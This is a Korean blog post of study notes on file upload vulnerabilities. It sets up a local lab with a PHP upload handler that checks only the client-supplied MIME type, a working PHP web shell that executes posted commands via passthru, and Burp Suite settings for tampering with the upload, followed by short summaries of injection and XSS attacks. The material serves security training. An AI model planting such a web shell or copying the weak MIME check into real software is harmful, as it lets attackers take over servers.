20160831 파일업로드 취약점
다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^
웹보안(Web Security)
제 5 장 파일 업로드
파일 업로드 취약점이란 게시판 등의 파일을 업로드 할 수 있는 기능을 악용하여 악의적인 파일(웹셀) 업로드를 통해 시스템 권한을 장악하는 기법을 의미한다.
게시판 업로드 기능헤서 파일 확장자에 대한 검사가 수행되지 않는 경우 취약점이 발생된다.
다음은 웹서버에서 실행 가능한 확장자에 대한 예시이다.
----------------------------------------------------------------------
개발언어 공격 가능한 확장자
----------------------------------------------------------------------
ASP, ASPX asp, aspx, htm, html, asa 등
PHP phtml, php, php3, php4, php5, inc, htm, html 등
JSP, JAVA jsp, jspx, jsw, jsv, jspf, htm, html 등
PERL pl, pm, cgi, lib, htm, html 등
ColdFusion cfm, cfml, cfc, dbm, htm, html 등
----------------------------------------------------------------------
[실습] MIME 타입 변조 및 우회
테스트 대상 : 아파치 APM
테스트 도구 : 웹브라우저, Burp Suite(프록시 도구)
준비사항 : 웹서버(아파치 APM), 웹페이지
① 준비 사항
아파치 APM를 설치한다. (APMSetup 통해 구성한다.)
기본설정으로 설치하면 C:\APM_Setup 디렉토리가 생성된다.
② 웹페이지 생성
MIME 타입 변조 및 우회 실습을 위한 테스트 페이지를 생성한다.
다음과 같은 파일을 C:\APM_Setup\upload.html 파일로 생성한다.
■ C:\APM_Setup\upload.html
<html> <head><titile>FileUpload</title></head> <body> <form enctype="multipart/form-data" action="upload.php" method="post"> <fieldset> <legend><font size="2">Please Choose Image File:</legend> File:<input type="file" name="userfile"> <input type="submit" name="upload" value="upload"> </fieldset> </form> </body> </html> |
■ C:\APM_Setup\upload.html 파일에 대한 해석
<html> <head><titile>FileUpload</title></head> <body> /* <... form ...> : 폼 관련 요소를 form 요소에 명시적으로 연결 */ /* <... enctype ...> : 폼을 전송할 때 사용할 인코딩 방법을 지정 */ /* <... action ...> : 업로드 파일을 처리하기 위한 페이지 지정 */ /* <... method ...> : 전송 방식으로 GET, POST등의 방식을 지정 */ <form enctype="multipart/form-data" action="upload.php" method="post"> <fieldset> <legend><font size="2">Please Choose Image File:</legend> /* <... input type ...> : 요소의 데이터 타입과 연관된 컨트롤을 조절 */ File:<input type="file" name="userfile"> <input type="submit" name="upload" value="upload"> </fieldset> </form> </body> </html> |
다음과 같은 파일을 C:\APM_Setup\upload.php 파일로 생성한다.
■ C:\APM_Setup\upload.php 파일
<? php $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){ { if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){ echo "FileName:".$_FILES['userfile']['name']." 입니다."; echo "<p>"; echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />'; } } } else{ echo "<script>alert('이미지타입이 아닙니다.')</script>"; } ?> |
■ C:\APM_Setup\upload.php 파일에 대한 해석
<? php $uploaddir = 'uploads/'; /* basename(string $path [,string $suffix]) : 경로의 이름 구성 요소를 반환 */ /* 예제: <? php $name = basename("/etc/passwd"); echo $name; ?> */ $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
/* in_array(mixed $needle, arry $haystack[, bool $strict = FALSE]) : 배열에 값이 있는지 점검한다. 두번째 패러미터 $haystack 배열에서 첫번째 패러미터인 $needle 값이 존재하는지 검사한다. */ /* 예시: <? php $os = arrary("Mac", "NT", "Linux"); if (in_arrary("Linux", $os)) { echo "Got Linux"; } else { echo "Nothing"; } ?> */ if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){ { /* move_uploaded_file(string $filename, string $destination) : 새로운 위치로 업로드된 파일을 이동한다. */ /* 예시: if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)){ echo "OK"; } */ if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){ echo "FileName:".$_FILES['userfile']['name']." 입니다."; echo "<p>"; echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />'; } } } else{ echo "<script>alert('이미지타입이 아닙니다.')</script>"; } ?> |
③ 파일 업로드 하기
● 게시판의 첨부 파일기능에 웹셀파일을 업로드하고 파일확장자 검사여부를 확인하여 우회여부를 결정한다.
테스트를 위한 PHP 웹셀 소스코드는 다음과 같다.
C:\testWebSehll.php 파일
<html> <div align="left"><font size="2">Input command :</font></div> <form name="cmd" method=POST" enctype="multipart/form-data"> <input type="text" name="cmd" size="30" class="input"><br> <pre> <?php if ($_POST['cmd']){ $cmd = $_POST['cmd']; passthru($cmd); } ?> </html> |
WebSehll.php 파일을 웹에 접속하여 업로드를 시도한다.
-> 해당 웹셀 업로드시 파일 타입 에러가 발생되는 것을 볼수 있을 것이다.
④ 웹 브라우저와 프락시 도구 설정
웹브라우저 설정 : Web Proxy로 127.0.0.1:9000 지정한다.
Burp Suite Proxy 설정 : 127.0.0.1:9000
-> Proxy 탭 > Options 탭 > Edit
----------------------------------------------
interface : 127.0.0.1:9000
----------------------------------------------
-> 페이지 하단의 클라이언트 요청을 변경하기 위해서 "Intercept Client Requests" 항목을 체크
[ V ] Intercept requests based on the following rules: Master interception is tuned off
-> Proxy 탭 > Options 탭 > Intercept is on 으로 설정
*SQL Injection
환경: SQL(웹-DB) 환경에서
공격: 조작된, 악의적인 SQL 구문을 Injection해서
결과: 인증을 우회하거나, 정보를 획득하는 것
*XML 취약성(XPath Injection)
환경: XML(웹-DB) 환경에서
공격: 조작된, 악의적인 XML 구문을 Injection해서
결과: 정보수집, 편집, 확인, 삭제, 인증우회
*XSS(cross-site scripting)
환경: 웹(웹C-웹S)
공격: S(stored=게시판 클릭유도=영구적, reflected=alert구문을 이용해서 악의적인 스크립트 삽입=비영구적)
결과: 정보 획득
*HTML 응답 분할 CRLF
*파일 업로드
환경: 게시판같이 파일을 업로드 할 수 있는 환경
공격: 악의적인, 정상적이지 않은 파일을 업로드해서
결과: 정보 획득, 변경, 삭제, 상대방 시스템 장악
*파일 다운로드
환경: 게시판처럼 파일을 다운로드 받을 수 있는 환경
공격: 조작된 파일(운영체제파일, 시스템정보파일, 히스토리파일, 로그파일)을 악의적으로 다운로드
결과: 정보 획득, 상대방 시스템 장악
'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160919 악성코드제작하기 (0) | 2016.09.19 |
---|---|
20160901 프로젝트#5 (0) | 2016.09.07 |
20160830 XML, CRLF, XSS Injection (0) | 2016.08.31 |
20160829 SQL Injection & XML Injection (0) | 2016.08.29 |
20160826 웹보안 (0) | 2016.08.27 |